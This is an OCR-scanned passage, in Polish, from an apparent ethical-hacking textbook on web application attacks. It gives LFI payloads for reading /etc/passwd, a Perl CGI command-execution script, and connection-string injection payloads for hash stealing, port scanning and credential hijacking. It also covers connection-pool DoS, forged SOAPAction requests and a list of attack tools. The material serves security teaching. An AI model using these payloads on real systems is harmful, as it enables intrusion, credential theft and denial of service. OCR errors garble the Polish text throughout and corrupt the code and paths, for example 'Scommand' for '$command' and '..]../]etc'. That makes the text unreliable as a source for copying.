require(Sfile." .php");

Teraz do nazwy pliku dofaczane jest php, co oznacza, ze uzytkownik nie moze znalez¢é wymaganego
pliku, poniewaz plik /etc/passwd.php nie istnieje. Jesli atakujacy sprobuje wstawié bajty zerowe (%00)
na koncu ciggu ataku, .php mozna fatwo oming¢:



http://xyz.com/page=../../../../../../etc/passwd %00

Inng metodga unikniecia dodanego php jest dodanie znaku zapytania (?) do ciggu ataku:
http://xyz.com/page=../../../../..]../]etc/passwd?

Pomijanie wykonywania .php

Luka LFI moze odczytywad pliki .txt, ale nie pliki .php, poniewaz s3 one wykonywane przez serwer, a
ich zakoniczenie zawiera jaki$ kod. Mozna tego unikngé za pomoca wbudowanego filtra php w
nastepujacy sposob:

http://xyz.com/index.php?page=php://filter/convert.base64-encode/resource=index

Tutaj filtr php stuzy do konwersji wszystkiego do formatu Base64. Teraz cata strona jest zakodowana
w Base64, ktdrg mozna zdekodowaé, zapisaé w pliku tekstowym i wykona¢:

baseb4 -d savefile.php
Btedy w logice aplikacji ataku

We wszystkich aplikacjach internetowych na kazdym poziomie stosowana jest ogromna ilo$¢ logiki.
Implementacja jakiejs logiki moze by¢ narazona na rdézne ataki, ktdre nie bedg zauwazalne. Wiekszos¢
atakujacych koncentruje sie gtéwnie na atakach wysokiego poziomu, takich jak SQL Injection i skrypty
XSS, poniewaz majg tatwo rozpoznawalne sygnatury. Natomiast btedy logiki aplikacji nie s3 powigzane
z zadnymi typowymi sygnaturami, co sprawia, ze btedy logiki aplikacji sg trudniejsze do
zidentyfikowania. Reczne testowanie skanerow luk w zabezpieczeniach nie pozwala zidentyfikowac
tego typu luk, co umozliwia atakujgcym wykorzystanie takich luk do spowodowania powaznych szkéd
w aplikacjach internetowych. Wiekszos¢ wad aplikacji wynika z zaniedbania i fatszywych zatozen
programistéow. Wady logiki aplikacji roznig sie w zaleznosci od rodzaju aplikacji internetowych i nie
ograniczajg sie do konkretnej usterki. Zdobycie wiedzy na temat wczesniej eksploatowanych aplikacji
z typowymi wadami logicznymi moze dostarczyé odpowiednich informacji na temat podejscia do
wykorzystywania luk w logice aplikacji. Ponizej opisano typowy scenariusz ilustrujgcy wykorzystywanie
luk w logice aplikacji przez osoby atakujace:

Scenariusz: Zidentyfikuj i wykorzystaj luki logiczne w detalicznych aplikacjach internetowych

W wiekszosci detalicznych aplikacji internetowych proces sktadania zamodwienia obejmuje wybér
produktu, sfinalizowanie zamdwienia, podanie szczegétéw dotyczacych ptatnosci i dostawy.
Deweloper zaktada, ze kazdy klient przeszedtby wszystkie poziomy w sekwencji zgodnie z zatozeniami.
Zidentyfikuj takie aplikacje i za pomocg narzedzi proxy, takich jak Burp Suite, sprébuj kontrolowac
zgdania wysyfane do aplikacji internetowej. Ponadto sprébuj oming¢ trzeci etap, tj. przeskoczyé z
drugiego etapu do czwartego etapu, manipulujgc zgdaniami. Ten rodzaj ataku nazywany jest
wymuszonym przeglagdaniem. Ta wada umozliwia atakujgcemu unikniecie zaptacenia ceny produktu i
odebranie produktu pod wskazanym adresem. Moze to spowodowac powazne straty finansowe, jesli
atakujgcy zamierza wykorzystad je na duzg skale.

Atakuj wspolne srodowiska

Obecnie organizacje korzystajg z zewnetrznych dostawcéw ustug w zakresie hostingu i utrzymywania
swoich aplikacji internetowych oraz odpowiedniej infrastruktury sieciowej. Ci ustugodawcy Swiadczg
ustugi wielu klientom i réwnolegle hostujg swoje aplikacje internetowe, korzystajgc z tej samej
infrastruktury. Takie podejscie prowadzi do wielu zagrozen i atakéw na aplikacje internetowe. Na
przyktad ztosliwy klient ustugodawcy moze préobowac zagrozié¢ bezpieczeristwu aplikacji internetowe;j



innej organizacji lub klient moze wdrozy¢ podatng na ataki aplikacje internetowa, ktéra toruje droge
do ztamania zabezpieczen aplikacji internetowych innych organizacji. Nastepujgce ataki mogg by¢
przeprowadzane na wspoétdzielonych srodowiskach:

Ataki na mechanizm dostepu

Dostawca ustug aplikacyjnych zapewnia organizacjom administracyjny interfejs sieciowy do
konfigurowania i zarzadzania aplikacja internetowg i jej baza danych z lokalizacji zdalnej. Ten
mechanizm zdalnego dostepu jest podatny na rézne ataki.

o Sprawdz, czy mechanizm zdalnego dostepu ma niezatatane luki lub btedy konfiguracji, ktére mozna
wykorzystaé. Atakujacy wykorzystujg takie luki w celu przechwycenia danych uwierzytelniajacych i
uzyskania dostepu do aplikacji internetowej i jej bazy danych.

o Sprawdz, czy uprawnienia dostepu sg odpowiednio rozdzielone pomiedzy klientami. Na przyktad zta
konfiguracja moze dac klientom dostep do powtoki zamiast dostepu do plikéw.

Ataki miedzy aplikacjami

Luki w zabezpieczeniach jednej aplikacji internetowej mogg umozliwi¢ atakujgcym wykonanie
ztosliwych skryptédw i zagrozi¢ bezpieczenstwu innych hostowanych aplikacji internetowych. Na
przyktad ponizszy skrypt umozliwia atakujagcym zdalne wykonywanie polecen:

#!/usr/bin/perl

use strict;

use CGI qw(:standard escapeHTML);

print header, start_html("");

if (param()){my Scommand = param("cmmd");
Scommand='Scommand’;

print "Scommand\n";}

else {print start_form(); textfield("command");}
print end_html;

Uzyskujgc dostep do wyzej wymienionego skryptu przez Internet, osoby atakujgce mogg wykonywac
polecenia systemu operacyjnego, takie jak whoami. Co wiecej, podatna na ataki aplikacja internetowa
moze zosta¢ wykorzystana do naruszenia bezpieczenistwa innych aplikacji internetowych. Na przyktad
luka umozliwiajgca wstrzykniecie kodu SQL w jednej aplikacji moze pozwoli¢ atakujgcemu na
uruchamianie dowolnych polecen i zapytan SQL w celu pobrania danych we wspétdzielonym
Srodowisku i manipulowania danymi innych aplikacji.

Atak na facznosé z baza danych

Parametry potgczenia z bazg danych stuzg do tgczenia aplikacji z aparatami baz danych. W tych atakach
napastnicy celujg w potgczenie z bazg danych, ktére tworzy fgcze miedzy serwerem bazy danych a jego
oprogramowaniem klienckim. Aplikacja internetowa nawigzuje potgczenie z bazg danych, dostarczajac
sterownikowi cigg potgczenia, ktéry zawiera adres okreslonej bazy danych lub serwera i oferuje
poswiadczenia uwierzytelnienia instancji i uzytkownika.



Na przyktad:
Server=sql_box; Database=Common; User ID=uid; Pwd=password;

Atakowanie potgczen danych moze spowodowac nieupowazniong kontrole nad bazg danych. Ataki na
tacznos¢ danych zapewniajg atakujgcym dostep do poufnych informacji w bazie danych. Ataki na
taczno$é z bazg danych wykorzystujg sposéb, w jaki aplikacje taczg sie z bazg danych, zamiast
naduzywacd zapytan do bazy danych. W tym celu uzywaj metod takich jak connection string injection
attack, hash stealing, skanowanie portow i przejmowanie poswiadczen sieciowych. Ponizej znajduje
sie przyktad typowego ciggu potaczenia uzywanego do tgczenia sie z bazg danych Microsoft SQL Server:

"Data Source=Server,Port; Network Library=DBMSSOCN; Initial
Catalog=DataBase; User ID=Username; Password=pwd;"
Ataki na tacznos¢ danych s3a nastepujacych typow:

Wstrzykiwanie parametrow potfgczenia: W Srodowisku uwierzytelniania delegowanego osoby
atakujgce wstrzykujg parametry do ciggu potaczenia, dodajac do nich srednik. Taka sytuacja moze
wystgpic, gdy dynamiczne tgczenie ciggdw jest uzywane do tworzenia parametrow potgczenia zgodnie
z danymi wejsciowymi uzytkownika.

e Ataki z zanieczyszczeniem parametrami parametrow potgczenia (CSPP): osoby atakujgce nadpisujg
wartosci parametréow w ciggu potgczenia.

* DoS puli potgczen: atakujacy sprawdzajg ustawienia puli potgczen docelowej aplikacji, tworzg duze
ztosliwe zapytanie SQL i uruchamiajg wiele zapytan jednoczesnie, aby wykorzystaé wszystkie
potfaczenia w puli potaczen, powodujgc niepowodzenie zapytan do bazy danych dla uprawnionych
uzytkownikow.

Wstrzykiwanie parametrow potaczenia

Atak wstrzykiwania parametréw potgczenia ma miejsce, gdy serwer uzywa dynamicznego tgczenia
ciggdw do tworzenia parametréw potaczenia na podstawie danych wprowadzonych przez
uzytkownika. Jesli serwer nie zweryfikuje ciggu znakdw i nie zezwoli na ucieczke ztosliwego tekstu lub
znakdéw, osoba atakujgca moze potencjalnie uzyska¢ dostep do poufnych danych lub innych zasobdéw
na serwerze. Na przykfad osoba atakujgca moze przeprowadzi¢ atak, podajgc $rednik i dodajac
dodatkowg wartosé. Atakujacy analizuje cigg potaczenia za pomocg algorytmu ,ostatni wygrywa” i
zastepuje prawidtowg wartos¢ wrogimi danymi wejsciowymi. Klasy konstruktora ciggu potgczenia
mogg wyeliminowaé zgadywanie i chroni¢ serwer przed btedami sktadniowymi i lukami w
zabezpieczeniach. Zapewniajg metody i wtasciwosci odpowiadajgce znanym parom klucz/wartos$c
dozwolonym przez kazdego dostawce danych. Kazda klasa utrzymuje statg kolekcje synoniméw i moze
przettumaczy¢ synonim na odpowiadajagcg mu dobrze znang nazwe klucza. Serwer sprawdza
prawidtowe pary klucz/wartosé, a nieprawidtowa para zgtasza wyjatek. Ponadto w bezpieczny sposdb
obstuguje wstrzykiwane wartosci. Atakujagcy mogg tatwo wstrzykngé parametry, po prostu dodajac
Srednik przy uzyciu technik wstrzykiwania ciggu pofaczenia w delegowanym s$rodowisku
uwierzytelniania. W ponizszym przykfadzie system prosi uzytkownika o podanie nazwy uzytkownika i
hasta w celu utworzenia parametrow potgczenia. Tutaj atakujacy wprowadza hasto jako ,pwd;
Encryption=off’; oznacza to, ze atakujgcy uniewaznit system szyfrowania. Po wypetnieniu ciggu
potgczenia warto$¢ szyfrowania zostanie dodana do weczedniej skonfigurowanego zestawu
parametréw.

Ataki z zanieczyszczeniem parametréw ciggu potaczenia (CSPP).



Serwer uzywa parametréw potaczenia do taczenia aplikacji z silnikami baz danych. Techniki
zanieczyszczania parametrami parametrow potgczenia (CSPP) pozwalajg atakujgcemu na szczegdlne
wykorzystanie rozdzielonych srednikami ciggdw potfaczen z bazg danych, ktére sg konstruowane
dynamicznie na podstawie danych wprowadzanych przez uzytkownika z aplikacji internetowych. W
atakach CSPP osoby atakujgce nadpisujg wartosci parametrow w parametrach potaczenia, aby ukrasé
identyfikatory uzytkownikéw i przejac¢ dane uwierzytelniajgce w sieci.

Kradziez hash

Zastepuje warto$¢ parametru Data Source wartoscig fatszywego serwera Microsoft SQL Server i
ustawia wartosci nazwy uzytkownika, zrodta danych i zintegrowanych zabezpieczenn w nastepujacy
sposab:

User_Value: ; Data Source = Rogue_Server Password_Value: ; Integrated Security = true.
Zatem wynikowy cigg taczacy bytby nastepujacy:

Data source = myServer; initial catalog = dbl; integrated security=no;

user ID=;Data Source=Rogue Server; Password=; Integrated Security=true;

Tutaj nadpisywane sg parametry ,DataSource” i ,IntegratedSecurity”. Dzieki temu wbudowane
sterowniki aplikacji bedg uzywal ostatniego zestawu wartosci zamiast poprzednich. Teraz, gdy
Microsoft SQL Server prébuje potgczy¢ sie z nieuczciwym serwerem, sniffer dziatajgcy na nieuczciwym
serwerze wyszukuje poswiadczenia okna.

Skanowanie portow

Sprobuj potgczyé sie z réznymi portami, zmieniajgc wartosc i wyswietlajgc komunikat o btedzie.
Inject User_Value: ; Data Source =Target_Server, Target_Port

Password_Value: ; Integrated Security = true

Wynikowy cigg potaczenia bytby nastepujacy:

Data source = myServer; initial catalog = dbl; integrated security=no;

user id=;Data Source=Target Server, Target Port; Password=; Integrated

Security=true;

W tym przypadku cigg potgczenia przyjmie ostatni ustawiony parametr ,DataSource”; aplikacja
internetowa sprobuje potaczyc sie z portem , TargetPort” na komputerze , TargetServer”. W ten sposdb
mozesz przeprowadzi¢ skanowanie portdw, zauwazajgc rézne komunikaty o btedach.

Przechwytywanie poswiadczen sieciowych

Sprobuj potfaczy¢ sie z bazg danych przy uzyciu konta systemowego aplikacji internetowej zamiast
zestawu poswiadczen dostarczonych przez uzytkownika.

Inject User_Value: ; Data Source =Target_Server
Password_Value: ; Integrated Security = true
Wynikowy cigg potaczenia to:

Data source = myServer; initial catalog = dbl; integrated security=no;



user id=;Data Source=Target Server, Target Port; Password=; Integrated
Security=true;

W tym przypadku nadpisuje parametr ,integratedsecurity” wartoscig rowng ,true”. Tym samym
pozwoli ci potgczy¢ sie z bazg danych za pomoca konta systemowego, z ktdrym dziata aplikacja
internetowa.

DoS puli potaczen

Sprawdz ustawienia puli potgczen aplikacji, skonstruuj duze ztosliwe zapytanie SQL i uruchom wiele
zapytan jednoczesnie, aby wykorzysta¢ wszystkie potaczenia w puli potaczen, powodujac
niepowodzenie zapytan do bazy danych dla legalnych uzytkownikéw. Na przyktad domysinie w
ASP.NET maksymalna liczba dozwolonych potgczen w puli to 100, a limit czasu wynosi 30 sekund.
Dlatego uruchom 100 zapytan o czasie wykonania ponad 30 sekund w ciggu 30 sekund, aby
spowodowac DoS puli potgczen, tak ze nikt inny nie bedzie mdgt korzystad z czesci aplikacji zwigzanych
z bazg danych.

Atak na klienta aplikacji sieci Web

Ataki przeprowadzane na aplikacje po stronie serwera infekujg aplikacje po stronie klienta, gdy ta
wchodzi w interakcje ze ztosliwymi serwerami lub przetwarza ztosliwe dane. Ataki po stronie klienta
majg miejsce, gdy klient nawigzuje potaczenie z serwerem. Jesli nie ma potgczenia miedzy klientem a
serwerem, nie ma ryzyka, poniewaz serwer nie moze przekazywac¢ klientowi ztosliwych danych.
Rozwazmy atak po stronie klienta, w ktérym zainfekowana strona internetowa celuje w okreslong
stabos¢ przegladarki i skutecznie jg wykorzystuje. W rezultacie ztosliwy serwer uzyskuje
nieautoryzowang kontrole nad systemem klienckim. Atakujacy wchodzg w interakcje z aplikacjami po
stronie serwera w nieoczekiwany sposdb, aby wykonywac¢ ztosliwe dziatania przeciwko uzytkownikom
kornicowym i uzyskiwac¢ dostep do nieautoryzowanych danych. Ponizej oméwiono niektére metody
wykorzystywane przez osoby atakujgce do przeprowadzania ztosliwych atakéw.

Cross-Site Scripting: Atakujgcy omija mechanizm bezpieczenstwa identyfikatora klienta, uzyskuje
uprawnienia dostepu, a nastepnie umieszcza ztosliwe skrypty na stronach internetowych witryny. Te
ztodliwe skrypty mogg nawet przepisaé zawartos¢ HTML witryny.

Wstrzykniecie nagtdéwka HTTP: Atakujgcy dzielg odpowiedZ HTTP na wiele odpowiedzi, wstrzykujgc
ztodliwg odpowiedz w nagtdwku HTTP. W ten sposéb moga niszczy¢ strony internetowe, zatruwac
pamiec¢ podreczng i uruchamia¢ skrypty miedzy witrynami.

Atak polegajacy na fatszerstwie zgdan: w ataku polegajacym na fatszowaniu zgdan osoby atakujgce
wykorzystujg zaufanie strony internetowe] lub aplikacji internetowej do przegladarki uzytkownika.
Atak polega na umieszczeniu na stronie f3cza, ktére przenosi uzytkownika do uwierzytelnionej witryny.

Ataki na prywatnos$¢: Atak na prywatnos¢ polega na Sledzeniu wykonywanym za pomocy zdalnej
witryny przy uzyciu trwatego stanu przegladarki, ktéry wyciekt.

Ataki przekierowania: Atakujgcy opracowujg kod i facza, ktére przypominajg legalng witryne, ktorg
uzytkownik chce odwiedzi¢; jednak adres URL przekierowuje uzytkownika do ztosliwej witryny
internetowej, na ktdrej osoby atakujagce mogg potencjalnie uzyska¢ dane uwierzytelniajace
uzytkownika i inne poufne informacje.

Wstrzykiwanie ramki: gdy skrypty nie sprawdzajg poprawnosci swoich danych wejsciowych, osoby
atakujace wstrzykujg kod przez ramki. Dotyczy to wszystkich przegladarek i skryptéw, ktére nie



sprawdzajg poprawnosci niezaufanych danych wejsciowych. Luki te wystepujg na stronach HTML z
ramkami. Innym powodem tej luki jest to, ze przegladarki internetowe obstugujg edycje ramek.

Utrwalanie sesji: Utrwalanie sesji pomaga atakujgcym przejag¢é waine sesje uzytkownika.
Uwierzytelniajg sie przy uzyciu znanego identyfikatora sesji, a nastepnie uzywajg znanego
identyfikatora sesji do przejecia sesji zatwierdzonej przez uzytkownika. W ten sposéb osoby atakujgce
oszukujg uzytkownikéw i uzyskujg dostep do prawdziwego serwera WWW przy uzyciu istniejgcej
wartosci identyfikatora ses;ji.

Ataki ActiveX: atakujgcy zwabiajg ofiary za posrednictwem wiadomosci e-mail lub t3cza, ktére jest
skonstruowane w taki sposéb, ze luki w kodzie zdalnego wykonania stajg sie dostepne, umozliwiajac
atakujgcym uzyskanie uprawnien dostepu réwnych uprawnieniom uzytkownikéw.

Atak na ustugi sieciowe

Aplikacje internetowe czesto wykorzystujg ustugi sieciowe do implementacji okreslonej
funkcjonalnosci. Jesli ustugi sieciowe zintegrowane z aplikacjami internetowymi sg podatne na ataki,
same aplikacje rowniez stajg sie podatne na ataki, co umozliwia atakujgcym wykorzystanie takich
aplikacji za posrednictwem zintegrowanych ustug internetowych, ktére sg podatne na ataki. W ten
sposdb osoby atakujgce tatwo atakujg ustugi sieciowe. Dlatego zaatakowane ustugi sieciowe stanowig
powazne zagrozenie dla bezpieczefstwa. Ustugi sieciowe dziatajg na starszych aplikacjach sieciowych,
a kazdy atak na ustuge sieciowg natychmiast ujawni luki w zabezpieczeniach biznesowych i logicznych
aplikacji dla réznych atakéwi. Atakujgcy mogg atakowac ustugi internetowe przy uzyciu réznych
technik, poniewaz aplikacje internetowe udostepniajg te ustugi uzytkownikom za pomoca réznych
mechanizméw. W zwigzku z tym zwieksza sie prawdopodobieidstwo wystgpienia luk w
zabezpieczeniach. Atakujgcy wykorzystujg te luki w zabezpieczeniach ustug sieciowych. Istnieje wiele
powodow, dla ktérych osoby atakujgce atakujg ustugi sieciowe. Atakujacy wybierajg odpowiedni atak
w zaleznosci od celu ataku. Jedli atakujgcy chcg jedynie powstrzymacd ustuge sieciowq przed obstugg
zamierzonych uzytkownikéw, mogg przeprowadzi¢ atak DoS, wysytajgc liczne zgdania.

Ataki sondujace ustugi sieciowe

Pliki WSDL to zautomatyzowane dokumenty zawierajgce poufne informacje o portach ustug,
potgczeniach utworzonych miedzy dwiema maszynami elektronicznymi i tak dalej. Atakujgcy mogg
wykorzystywac ataki sondujgce WSDL w celu uzyskania informacji o lukach w publicznych i prywatnych
ustugach sieciowych, a takze w celu przeprowadzenia ataku SQL. Atak polegajgcy na sondowaniu ustugi
internetowej obejmuje nastepujgce kroki:

W pierwszym kroku wychwytuj dokument WSDL z ruchu ustugi sieciowej i przeanalizuj go, aby okresli¢
cel aplikacji, podziat funkcjonalny, punkty wejscia i typy komunikatéw

Utwédrz zestaw prawidtowych Zzadan, wybierajgc zestaw operacji i formutujgc komunikaty zadan
zgodnie z regutami schematu XML, ktére mozna przestaé do ustugi internetowe;j

Uzyj tych zadan, aby dotaczy¢ ztosliwg zawartos¢ do zgdan SOAP i przeanalizuj btedy, aby lepigj
zrozumiec potencjalne stabe punkty bezpieczerstwa

Ataki na ustugi internetowe: wstrzykniecie SOAP

SOAP jest lekkim i prostym protokotem opartym na jezyku XML, przeznaczonym do wymiany
ustrukturyzowanych i typowych informacji w Internecie. Element koperty XML jest zawsze elementem
gtéwnym komunikatu SOAP w schemacie XML. Wstrzykniecie SOAP zawiera znaki specjalne, takie jak
pojedyncze cudzystowy, podwdjne cudzystowy, sredniki i tak dalej. Atakujgcy wstrzykuje ztosliwe ciagi



zapytan do pola wprowadzania danych przez uzytkownika, aby oming¢ mechanizmy uwierzytelniania
ustugi sieciowe] i uzyskac dostep do baz danych zaplecza. Ten atak dziata podobnie do atakéw na ustugi
sieciowe: SOAPAction Spoofing

Kazdy komunikat zgdania SOAP zawiera operacje wykonywang przez aplikacje i jest dotgczany jako
pierwszy element podrzedny w tresci protokotu SOAP. Gdy komunikaty SOAP sg przesytane przy uzyciu
protokotu HTTP, uzywany jest dodatkowy nagtdwek HTTP znany jako SOAPAction. Operacja do
wykonania jest zawarta w nagtéwku SOAPAction. Element nagtdwka informuje odbiorczg ustuge
sieciowg o operacji obecnej w tresci SOAP bez koniecznosci wykonywania parsowania XML. Atakujgcy
moga wykorzysta¢ te optymalizacje do manipulowania operacjami zawartymi w nagtéwkach
SOAPAction. Rozwazmy na przykfad ustuge internetows, ktéra obejmuje dwie operacje, createUser i
deleteANUsers, i jest podatna na taki atak. Zatézmy, ze ta ustuga internetowa jest chroniona przez
brame i tylko autoryzowani uzytkownicy, ktérzy majg bezposrednig komunikacje z ustugg internetows,
moga wykonac¢ operacje deleteAMUsers. Osoba atakujgca znajdujgca sie przed bramg moze
przeprowadzi¢ atak fatszowania SOAPAction, manipulujgc nagtéwkiem SOAPAction w nastepujgcy
sposdb:

POST /service HTTP/1.1
Host: certifiedHacker
SOAPAction: "createUser"
<Envelope>

<Header />

<Body>

<createUser>
<login>rinnimathews</login>
<pwd>password</pwd>
</createUser>

</Body>

</Envelope>

Atakujacy moze zmodyfikowa¢ SOAPAction na , deleteAllUsers”, a brama przekazuje ten komunikat,
poniewaz tre$é protokotu SOAP sktada sie z operacji createUser.

POST /service HTTP/1.1

Host: certifiedHacker
SOAPAction: "deleteAllUsers"
<Envelope>

<Header />

<Body>

<createUser>



<login>rinnimathews</login>

<pwd>password</pwd>

</createUser>

</Body>

</Envelope>

Atakujgcy uzywaja narzedzi takich jak WS-Attacker do fatszowania SOAPAction:
WS-Attacker

WS-Attacker to narzedzie do przeprowadzania automatycznych testéw penetracyjnych ustug
sieciowych. Jest to fatwe w uzyciu rozwigzanie programowe typu open source z wieloma wtyczkami do
réznych typow atakow i zapewnia interfejs do sprawdzania bezpieczenstwa. WS-Attacker zapewnia
funkcjonalnosé tadowania plikéw WSDL i wysytania komunikatéw SOAP do punktow koncowych ustugi
sieciowej oraz moze testowaé, czy jakakolwiek ustuga sieciowa jest podatna na ataki, takie jak
zawijanie podpiséw XML, fatszowanie SOAPAction i DoS.

Ataki na ustugi internetowe: fatszowanie adresu WS

WS-Address zapewnia dodatkowe informacje o routingu w nagtéwku SOAP w celu obstugi komunikacji
asynchronicznej. Ta technika umozliwia przesytanie zgdan ustug sieciowych i komunikatéw odpowiedzi
przy uzyciu réznych potgczen TCP. Jest to niezbedne w przypadku dtugotrwatych zgtoszen serwisowych,
w ktdrych czas obliczen aplikacji po stronie serwera przekracza czas zycia pojedynczego potaczenia
TCP. WS-Address zawiera opcjonalny element adresu FaultTo do okreslania alternatywnego punktu
kornicowego, ktéry ma byé uzywany w przypadku jakichkolwiek komplikacji. Poniewaz requester
wybiera adres punktu korncowego uzywany w nagtéwkach ReplyTo i FaultTo, nie jest on odpowiednio
zabezpieczony przed manipulacjg przez posrednikéw. Chociaz specyfikacja prosi o sktadanie podpiséw
cyfrowych na tych polach nagtdéwka, wartosci zalezg gtéwnie od ustawien domysinych bez
odpowiednich zabezpieczen. Powoduje to luke, ktérg osoba atakujgca moze wykorzysta¢ do
przeprowadzenia ataku fatszowania adresu WS. W ataku fatszowania adresu WS osoba atakujgca
wysyta do serwera wiadomos¢ SOAP zawierajgcyg fatszywe informacje o adresie WS. Nagtéwek
<ReplyTo> sktada sie z adresu punktu koricowego wybranego przez atakujgcego zamiast klienta ustugi
sieciowej. Punkt koricowy wybrany przez atakujgcego odbiera niepotrzebny ruch za posrednictwem
komunikatéw SOAP. Ponadto atakujgcy moze generowaé ogromng ilosé ruchu, co skutkuje atakiem
DoS. Atakujacy uzywajg narzedzi, takich jak WS-Attacker, do identyfikowania i wykorzystywania luk w
zabezpieczeniach zwigzanych z fatszowaniem adreséw WS.

Ataki na ustugi sieciowe: XML Injection

Aplikacje internetowe czasami uzywajg XML do przechowywania danych, takich jak poswiadczenia
uzytkownika w dokumentach XML; osoby atakujgce moga analizowac i przegladaé takie dane za
pomocg XPATH. XPATH definiuje przeptyw dokumentu i weryfikuje poswiadczenia uzytkownika, takie
jak nazwa uzytkownika i hasto, aby przekierowac je do okreslonego konta uzytkownika. Atakujgcy
identyfikujg XPATH i wstawiajg wtrysk XML lub schemat XML, aby omingé proces uwierzytelniania i
uzyskaé nieograniczony dostep do danych przechowywanych w XML. Proces, w ktérym osoby
atakujgce wprowadzajg wartosci, z ktorych korzysta zapytanie XML, to atak polegajgcy na iniekcji XML.
Atakujacy wprowadzajg dane XML i znaczniki do pdl wejsciowych uzytkownika, aby manipulowac
schematem XML lub zapetnia¢ bazy danych XML fatszywymi wpisami. Wstrzykiwanie XML moze stuzy¢
do omijania autoryzacji, zwiekszania uprawnien i generowania atakéw DoS na ustugi sieciowe.



Ataki analizujace ustugi sieciowe

Ataki analizujgce wykorzystujg luki i stabosci w mozliwosciach przetwarzania parsera XML w celu
przeprowadzenia ataku DoS lub wygenerowania btedéw logicznych w przetwarzaniu zgdan ustugi
sieciowej. Atak analizujacy jest wykonywany, gdy atakujagcemu uda sie zmodyfikowac zgdanie pliku lub
cigg znakdéw. Atakujacy zmienia wartosci, naktadajac jedno lub wiecej polecen systemu operacyjnego
za posrednictwem zgdania. Analiza jest mozliwa, gdy atakujgcy wykonuje pliki .bat (batch) lub .cmd
(command).

tadunki rekurencyjne

Osoba atakujgca wysyta zapytanie o ustugi internetowe za pomocg poprawnego gramatycznie
dokumentu SOAP, ktéry zawiera nieskonczone petle przetwarzania, co powoduje wyczerpanie
zasobow parsera XML i procesora.

tadunki ponadgabarytowe

Atakujgcy wysytajg fadunek, ktéry jest zbyt duzy, aby pochtong¢ wszystkie zasoby systemowe, czynigc
ustugi sieciowe niedostepnymi dla innych uprawnionych uzytkownikéw.

Narzedzia ataku na ustugi internetowe
SoapUl

SoapUl to narzedzie do testowania ustug internetowych, ktére obstuguje wiele protokotéw, takich jak
SOAP, REST, HTTP, JMS, AMF i JDBC. Osoba atakujgca moze uzy¢ tego narzedzia do przeprowadzania
sondowania ustug internetowych, wstrzykiwania protokotu SOAP, wstrzykiwania XML i atakéw
analizujacych ustugi sieciowe.

XMLSpy

Altova XMLSpy to edytor XML i Srodowisko programistyczne do modelowania, edytowania,
przeksztatcania i debugowania technologii zwigzanych z XML.

Dodatkowe narzedzia hakerskie do aplikacji internetowych

Oprécz opisanych powyzej narzedzi hakerskich do aplikacji internetowych, kilka innych narzedzi moze
pomadc atakujagcym w osiggnieciu ich celéw. Ponizej wymieniono niektére dodatkowe narzedzia do
hakowania aplikacji internetowych:

Metasploit (https://www.metasploit.com)
w3af ( https://w3af.org)

Nikto ( https://cirt.net)

Sniper (https://github.com)

WSSIP (https://github.com)

X Attacker ( https://github.com)
timing_attack (https://github.com)
HTTrack ( https://www.httrack.com)

SQL Injection Scanner ( https://pentest-toois.com)



XSS Scanner ( https://pentest-toois.com)

SQLi Exploiter ( https://pentest-toois.com)

HTTP Request Logger ( https://pentest-toois.com)
WebCopier ( https://www.maximumsoft.com)
WPScan ( https://wpscan.com)

TIDoS-Framework (https://github.com)

W ostatnich latach obserwujemy wyktadniczy wzrost wykorzystania internetowych interfejséw APl w
tworzeniu aplikacji. Interfejsy APl sieci Web pomagajg programistom w tworzeniu aplikacji
internetowych, ktére pobierajg dane z wielu zrddet online. Poniewaz interfejsy API sieci Web sg
wiaczane do wielu popularnych aplikacji, takich jak sieci spotecznosciowe, sklepy i wyszukiwarki,
wzrosto znaczenie zabezpieczania interfejséw APl i ich integralnosci. Kazde naruszenie bezpieczenstwa
interfejsu APl moze narazi¢ atakujgcych na dane osobiste lub krytyczne dla firmy. W tej sekgji
oméwiono podstawowe pojecia dotyczace internetowego interfejsu API, elementéw webhook i
powtoki internetowej; Luki APl i techniki hakerskie; oraz najlepsze praktyki w zakresie bezpieczeristwa
API.

Co to jest internetowy interfejs API?

Web API to interfejs programowania aplikacji, ktory udostepnia ustugi sieciowe online aplikacjom
klienckim w celu pobierania i aktualizowania danych z wielu Zrddet online. Jest to specjalny typ
interfejsu, w ktérym interakcje miedzy aplikacjami mogg by¢ dozwolone przez Internet i niektére
protokoty internetowe. Interfejsy API sieci Web udostepniajg zasoby w Internecie i ogdlnie dostep do
nich odbywa sie za posrednictwem protokotu HTTP. Skfadajg sie rowniez z réznego rodzaju narzedzi,
funkcji i protokotéw, ktérych mozna uzywac do tworzenia oprogramowania lub aplikacji bez zadnej
ztozonosci. Rozwazmy na przyktad tradycyjng aplikacje internetowg obstugiwang przez wiele platform
mobilnych bez scentralizowanego interfejsu APIl. Skutkuje to ztozonoscig aktualizowania logiki
biznesowej dla kazdej indywidualnej implementacji za kazdym razem, gdy w aplikacjach klienckich
pojawia sie aktualizacja. Korzystanie ze scentralizowanego internetowego interfejsu APl zmniejsza
ztozonos¢ i zwieksza integralnos¢ aktualizacji i zmiany danych lub logiki biznesowej w jednej centralnej
lokalizacji.

Interfejsy API ustug internetowych
Ponizej wymieniono najczesciej uzywane interfejsy APl ustug internetowych:

SOAP APIl: SOAP to internetowy protokét komunikacyjny, ktéry umozliwia interakcje miedzy
aplikacjami dziatajagcymi na rdéznych platformach, takich jak Windows, macQOS, Linux itp., za
posrednictwem XML i HTTP. Interfejsy APl oparte na protokole SOAP sg zaprogramowane do
generowania, odzyskiwania, modyfikowania i usuwania réznych dziennikdéw, takich jak profile, dane
uwierzytelniajgce i potencjalni klienci.

REST (Representation State Transfer) API: REST nie jest specyfikacjg, narzedziem ani strukturg; jest to
styl architektoniczny serwisu internetowego, ktéry stuzy jako medium komunikacji miedzy réznymi
systemami w sieci. Interfejsy APl obstugiwane przez styl architektoniczny REST sg znane jako interfejsy
AP| REST. Takie oparte na interfejsie APl systemy komputerowe, ustugi sieciowe i systemy baz danych
umozliwiajg maszynom zgdajgcym szybki dostep i przedefiniowanie reprezentacji zasobow sieciowych
poprzez zapewnienie zestawu bezstanowych protokotéw i operacji jakosciowych.



RESTful API: RESTful API to ustuga RESTful zaprojektowana z wykorzystaniem zasad REST i protokotéw
komunikacyjnych HTTP. RESTful to zbidr zasobdéw korzystajgcych z metod http, takich jak PUT, POST,
GET i DELETE. RESTful APl ma réwniez na celu uniezaleznienie aplikacji w celu poprawy ogdlnej
wydajnosci, widocznosci, skalowalnosci, niezawodnosci i przenosnosci aplikacji. Interfejsy APl z
nastepujgcymi funkcjami mozna nazwac interfejsami APl RESTful:

o Bezstanowe: strona klienta przechowuje stan sesji; serwer jest ograniczony do zapisywania danych
